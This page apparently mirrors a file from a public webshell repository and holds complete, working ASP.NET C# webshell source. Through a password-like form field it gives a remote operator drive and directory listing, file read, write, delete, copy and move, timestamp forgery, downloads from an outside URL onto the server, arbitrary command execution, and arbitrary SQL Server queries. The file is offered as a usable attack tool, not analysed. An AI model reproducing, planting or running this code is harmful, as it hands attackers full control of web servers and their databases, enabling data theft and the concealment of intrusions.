mirror of
https://github.com/tennc/webshell
synced 2024-11-13 23:17:10 +00:00
305 lines
13 KiB
Text
305 lines
13 KiB
Text
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<%@ WebHandler Language="C#" Class="Handler" %>
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using System;
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using System.Web;
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using System.IO;
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using System.Net;
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using System.Text;
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using System.Data;
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using System.Data.SqlClient;
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using System.Diagnostics;
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public class Handler : IHttpHandler
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{
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public void ProcessRequest(HttpContext context)
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{
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String Z = context.Request.Form["z"];//设置密码z
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if (Z != "")
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{
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String Z1 = context.Request.Form["Z1"];
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String Z2 = context.Request.Form["Z2"];
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String R = "";
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try
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{
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switch (Z)
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{
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case "A":
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{
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String[] c = Directory.GetLogicalDrives();
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R = String.Format("{0}\t", context.Server.MapPath("/"));
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for (int i = 0; i < c.Length; i++)
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R += c[i][0] + ":";
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break;
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}
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case "B":
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{
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DirectoryInfo m = new DirectoryInfo(Z1);
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foreach (DirectoryInfo D in m.GetDirectories())
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{
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R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
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}
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foreach (FileInfo D in m.GetFiles())
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{
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R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
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}
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break;
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}
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case "C":
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{
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StreamReader m = new StreamReader(Z1, Encoding.Default);
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R = m.ReadToEnd();
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m.Close();
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break;
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}
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case "D":
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{
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StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
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m.Write(Z2);
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R = "1";
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m.Close();
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break;
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}
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case "E":
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{
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if (Directory.Exists(Z1))
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{
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Directory.Delete(Z1, true);
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}
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else
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{
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File.Delete(Z1);
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}
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R = "1";
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break;
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}
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case "F":
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{
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context.Response.Clear();
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context.Response.Write("\x2D\x3E\x7C");
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context.Response.WriteFile(Z1);
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context.Response.Write("\x7C\x3C\x2D");
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goto End;
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}
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case "G":
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{
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byte[] B = new byte[Z2.Length / 2];
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for (int i = 0; i < Z2.Length; i += 2)
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{
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B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
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}
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FileStream fs = new FileStream(Z1, FileMode.Create);
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fs.Write(B, 0, B.Length);
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fs.Close();
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R = "1";
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break;
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}
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case "H":
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{
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CP(Z1, Z2, context);
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R = "1";
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break;
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}
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case "I":
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{
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if (Directory.Exists(Z1))
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{
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Directory.Move(Z1, Z2);
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}
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else
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{
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File.Move(Z1, Z2);
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}
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break;
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}
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case "J":
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{
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Directory.CreateDirectory(Z1);
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R = "1";
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break;
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}
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case "K":
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{
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DateTime TM = Convert.ToDateTime(Z2);
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if (Directory.Exists(Z1))
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{
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Directory.SetCreationTime(Z1, TM);
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Directory.SetLastWriteTime(Z1, TM);
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Directory.SetLastAccessTime(Z1, TM);
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}
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else
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{
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File.SetCreationTime(Z1, TM);
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File.SetLastWriteTime(Z1, TM);
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File.SetLastAccessTime(Z1, TM);
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}
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R = "1";
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break;
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}
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case "L":
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{
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HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
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RQ.Method = "GET";
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RQ.ContentType = "application/x-www-form-urlencoded";
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HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
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Stream WF = WB.GetResponseStream();
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FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
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int i;
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byte[] buffer = new byte[1024];
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while (true)
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{
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i = WF.Read(buffer, 0, buffer.Length);
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if (i < 1)
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{
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break;
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}
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FS.Write(buffer, 0, i);
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}
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WF.Close();
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WB.Close();
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FS.Close();
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R = "1";
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break;
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}
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case "M":
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{
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ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2));
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Process e = new Process();
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StreamReader OT, ER;
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c.UseShellExecute = false;
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c.RedirectStandardOutput = true;
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c.RedirectStandardError = true;
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e.StartInfo = c;
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c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2);
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e.Start();
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OT = e.StandardOutput;
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ER = e.StandardError;
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e.Close();
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R = OT.ReadToEnd() + ER.ReadToEnd();
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break;
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}
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case "N":
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{
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String strDat = Z1.ToUpper();
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SqlConnection Conn = new SqlConnection(Z1);
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Conn.Open();
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R = Conn.Database + "\t";
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Conn.Close();
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break;
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}
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case "O":
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{
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String[] x = Z1.Replace("\r", "").Split('\n');
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String strConn = x[0], strDb = x[1];
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SqlConnection Conn = new SqlConnection(strConn);
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Conn.Open();
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DataTable dt = Conn.GetSchema("Columns");
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Conn.Close();
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for (int i = 0; i < dt.Rows.Count; i++)
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{
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R += String.Format("{0}\t", dt.Rows[i][2].ToString());
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}
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break;
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}
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case "P":
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{
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String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
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String strConn = x[0], strDb = x[1], strTable = x[2];
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p[0] = strDb;
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p[2] = strTable;
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SqlConnection Conn = new SqlConnection(strConn);
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Conn.Open();
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DataTable dt = Conn.GetSchema("Columns", p);
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Conn.Close();
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for (int i = 0; i < dt.Rows.Count; i++)
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{
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R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
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}
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break;
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}
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case "Q":
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{
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String[] x = Z1.Replace("\r", "").Split('\n');
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String strDat, strConn = x[0], strDb = x[1];
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int i, c;
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strDat = Z2.ToUpper();
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SqlConnection Conn = new SqlConnection(strConn);
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Conn.Open();
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if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
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{
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SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);
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DataSet ds = new DataSet();
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OD.Fill(ds);
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if (ds.Tables.Count > 0)
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{
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DataRowCollection rows = ds.Tables[0].Rows;
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for (c = 0; c < ds.Tables[0].Columns.Count; c++)
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{
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R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
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}
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R += "\r\n";
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for (i = 0; i < rows.Count; i++)
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{
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for (c = 0; c < ds.Tables[0].Columns.Count; c++)
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{
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R += String.Format("{0}\t|\t", rows[i][c].ToString());
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}
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R += "\r\n";
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}
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}
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ds.Clear();
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ds.Dispose();
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}
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else
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{
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SqlCommand cm = Conn.CreateCommand();
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cm.CommandText = Z2;
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cm.ExecuteNonQuery();
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R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
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}
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Conn.Close();
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break;
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}
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default: goto End;
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}
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}
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catch(Exception E)
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{
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R="ERROR:// "+E.Message;
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}
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context.Response.Write("\x2D\x3E\x7C"+R+"\x7C\x3C\x2D");
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End:;
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}
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}
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public bool IsReusable
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{
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get
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{
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return false;
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}
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}
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public void CP(String S,String D,HttpContext context)
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{
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if(Directory.Exists(S))
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{
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DirectoryInfo m=new DirectoryInfo(S);
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Directory.CreateDirectory(D);
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foreach(FileInfo F in m.GetFiles())
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{
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File.Copy(S+"\\"+F.Name,D+"\\"+F.Name);
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}
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foreach(DirectoryInfo F in m.GetDirectories())
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{
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CP(S + "\\" + F.Name, D + "\\" + F.Name, context);
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}
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}
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else
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{
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File.Copy(S,D);
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}
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}
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}
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